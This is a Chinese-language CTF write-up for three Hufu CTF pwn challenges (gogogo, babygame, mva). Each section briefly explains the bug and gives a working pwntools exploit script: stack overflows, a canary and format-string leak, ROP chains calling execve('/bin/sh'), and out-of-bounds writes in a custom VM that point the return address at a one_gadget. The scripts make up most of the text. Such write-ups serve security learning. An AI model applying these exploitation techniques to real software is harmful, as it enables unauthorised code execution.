0%

虎符ctf

虎符ctf

gogogo

主要难点在逆向,代码有一千多行,ida7.7能大致反编译出go的伪代码,但是伪代码中还是有很多意义不明的代码出现,再加上go的函数调用的参数放在父函数的栈上,导致ida对参数的解析比较密,不能很好的看出传入的参数是啥,只能动态调试,最后逆出了最后退出的时候会向栈上写数据且有栈溢出

然后中间还得玩个很复杂的游戏,主要难点就这两个了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level='debug'
sh=process("./pwn")
'''
0x000000000045c849: syscall; ret;
0x0000000000405b78: pop rax; ret;
0x00000000004742da: pop rdi; xor eax, eax; mov rbp, qword ptr [rsp + 0xb0]; add rsp, 0xb8; ret;
0x000000000045544a: pop rsi; add byte ptr [rax], al; mov byte ptr [rax], 1; mov rbp, qword ptr [rsp + 0x10]; add rsp, 0x18; ret;
0x000000000048546c: pop rdx; ret;
'''
bss=0x538000+0x20
syscall_ret=0x000000000045c849
pop_rax_ret=0x0000000000405b78
rdi=0x00000000004742da
rsi=0x000000000045544a
rdx=0x000000000048546c
def exit(content):
sh.recvuntil("(4) EXIT")
sh.sendline(str(4))
sh.recvuntil("ARE YOU SURE?")
sleep(0.2)
sh.sendline(content)
#gdb.attach(sh,'b *0x48EEA0')
def game():
sh.recvuntil("YOU HAVE SEVEN CHANCES TO GUESS\n")
guess='3 2 1 0'
while(1):
sh.sendline(guess)
ans=sh.recvline()
if 'WIN' in ans:
break
s=str(input('guess:'))
guess=s[0]+' '+s[1]+' '+s[2]+' '+s[3]
print guess

def exp():
sh.recvuntil("PLEASE INPUT A NUMBER:")
sh.sendline(str(1717986918))
sh.recvuntil("PLEASE INPUT A NUMBER:")
sh.sendline(str(305419896))
sh.recvuntil('OKAY YOU CAN LEAVE YOUR NAME AND BYE~')
sh.sendline('/bin/sh\x00')
game()
sh.recvuntil("AGAIN OR EXIT?")
sh.sendline("e")
payload='y'+'\x00'*(0x460-1)
payload+=p64(pop_rax_ret)+p64(bss)
payload+=p64(rsi)+p64(0)+'c'*0x18
payload+=p64(rdx)+p64(0)
payload+=p64(rdi)+p64(0xc000108000)+'d'*0xb8
payload+=p64(pop_rax_ret)+p64(59)+p64(syscall_ret)
exit(payload)
sh.recvuntil('OKAY YOU CAN LEAVE YOUR NAME AND BYE~')
sh.sendline('/bin/sh\x00')
sh.interactive()
exp()

babygame

栈溢出加格式化字符串,先通过溢出得到一个栈地址和canary,然后通过格式化字符串得到一个libc地址,爆破改返回地址为fread,不能直接改到main函数,不然标准输入输出在没有关闭的情况下会再打开一次,然后printf会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.log_level="debug"
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')

'''
0x0000000000047400: pop rax; ret;
0x0000000000023b72: pop rdi; ret;
0x000000000002604f: pop rsi; ret;
0x0000000000119241: pop rdx; pop r12; ret;
0x00000000000630d9: syscall; ret;
'''



def game():
fd=open("flag.txt","r+")
for i in range(100):
content="round {0}: \n".format(i+1)
sh.recvuntil(content)
sh.sendline(fd.read(1))
fd.close()




#gdb.attach(sh," b *(0x7ffff7fc6000+0x1565)")
def exp():
payload="a"*0x108+'b'
sh.sendafter("Please input your name:\n",payload)
sh.recvuntil('ab')
canary=u64(sh.recv(7).ljust(8,'\x00'))<<8
stack_addr=u64(sh.recv(6).ljust(8,'\x00'))
print hex(stack_addr)
game()
sh.recvuntil("Good luck to you.")
fmt='%3$p'+'%'+str(0x74Aa-0xe)+'c%8$hn'+p64(stack_addr-0x210)
# print len('%3$p'+'%'+str(0x7465-0xe)+'c%8$hn')
sh.send(fmt)
sleep(1)
s=sh.recvline()
m=sh.recv()
libc_addr=int(m[0:14],16)-0x10e002
pop_rax=libc_addr+0x0000000000047400
pop_rdi=libc_addr+0x0000000000023b72
pop_rsi=libc_addr+0x000000000002604f
pop_rdx_r12=libc_addr+0x0000000000119241
syscall=libc_addr+0x00000000000630d9
sh.recvuntil('Please input your name:\n')



payload='/bin/sh\x00'+'a'*0x100+p64(canary)+'b'*0x18
payload+=p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(stack_addr-0x208)+p64(pop_rsi)
payload+=p64(0)+p64(pop_rdx_r12)+2*p64(0)+p64(syscall)
sh.send(payload)
sh.recvuntil('2. paper')
sh.sendline('12345')

sh.interactive()

exp()

mva

第一次做vm题,这个应该算是比较简单的vm题,程序虚拟了几个指令集,包括push,pop,add sub mov xor add or等,然后还虚拟了六个寄存器 ,每次读取四个字节,第一个字节是指令码,比如add是\x02,第二个字节是目的寄存器,第三第四个寄存器是操作数比如\x02\x00\x01\x02就是把第二个寄存器的数和第0个寄存器的数相加然后赋值给第一个寄存器。

漏洞就出在对边界的检查不规范导致了内存写和内存读。

正常有六个寄存器,选项1是对单个寄存器进行赋值,选项2,3,4,5,6,7是对寄存器进行计算,选项9是
入栈操作,这个可以利用v9完成返回地址写,选项a是出栈操作,可以利用v9进行返回地址的读。选项d可以进行一个
小范围的读,选项e可以进行小范围的读,选项e可以进行小范围的写,通过这个改写v9。

通过上面的几个漏洞的组合就能getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level="debug"
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so', './mva'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''
ogg=0xe6c81
gdb.attach(sh,"b *(0x7ffff7fc6000+0x1A62)")
sh.recvuntil("[+] Welcome to MVA, input your code now :")
addr_offset=0x270b3
pay='\x01\x00\x01\x0f'#s0=0x110
pay+='\x0e\x00\xf6\x00'#v9=s0=0x110
pay+='\x0a\x01\x00\x00'#s1=(ret_addr&0xffff00000000)>>32
pay+='\x0a\x02\x00\x00'#s2=(ret_addr&0xffff0000)>>16
pay+='\x0a\x03\x00\x00'#s3=(ret_addr&0xfffff)
pay+='\x01\x00\x70\xb3'#s0=0x70b3
pay+='\x03\x03\x03\x00'#s3=s3-s0
pay+='\x01\x00\x00\x02'#s0=0x2
pay+='\x03\x02\x02\x00'#s2=s2-s0
pay+='\x01\x00'+p8(0x6c)+p8(0x81)#s0=0x6c81
pay+='\x02\x03\x03\x00'#s3=s3+s0
pay+='\x01\x00\x00'+p8(0xe)#s0=0xe
pay+='\x02\x02\x02\x00'#s2=s2+s0
pay+='\x01\x00\x01\x0c'#s0=0x10c
pay+='\x0e\x00\xf6\x00'#v9&0xffff=07x10c
pay+='\x01\x00\x80\x00'#s0=0x8000
pay+='\x0e\x00\xf9\x00'#v9=0x800000000000010c
pay+='\x01\x00\x00\x00'#s0=0
pay+='\x02\x00\x03\x00'#s0=s3
pay+='\x09\x00\x00\x00'
pay+='\x01\x00\x00\x00'#s0=0
pay+='\x02\x00\x02\x00'#s0=s2
pay+='\x09\x00\x00\x00'
sh.sendline(pay.ljust(0x100,'a'))
sh.interactive()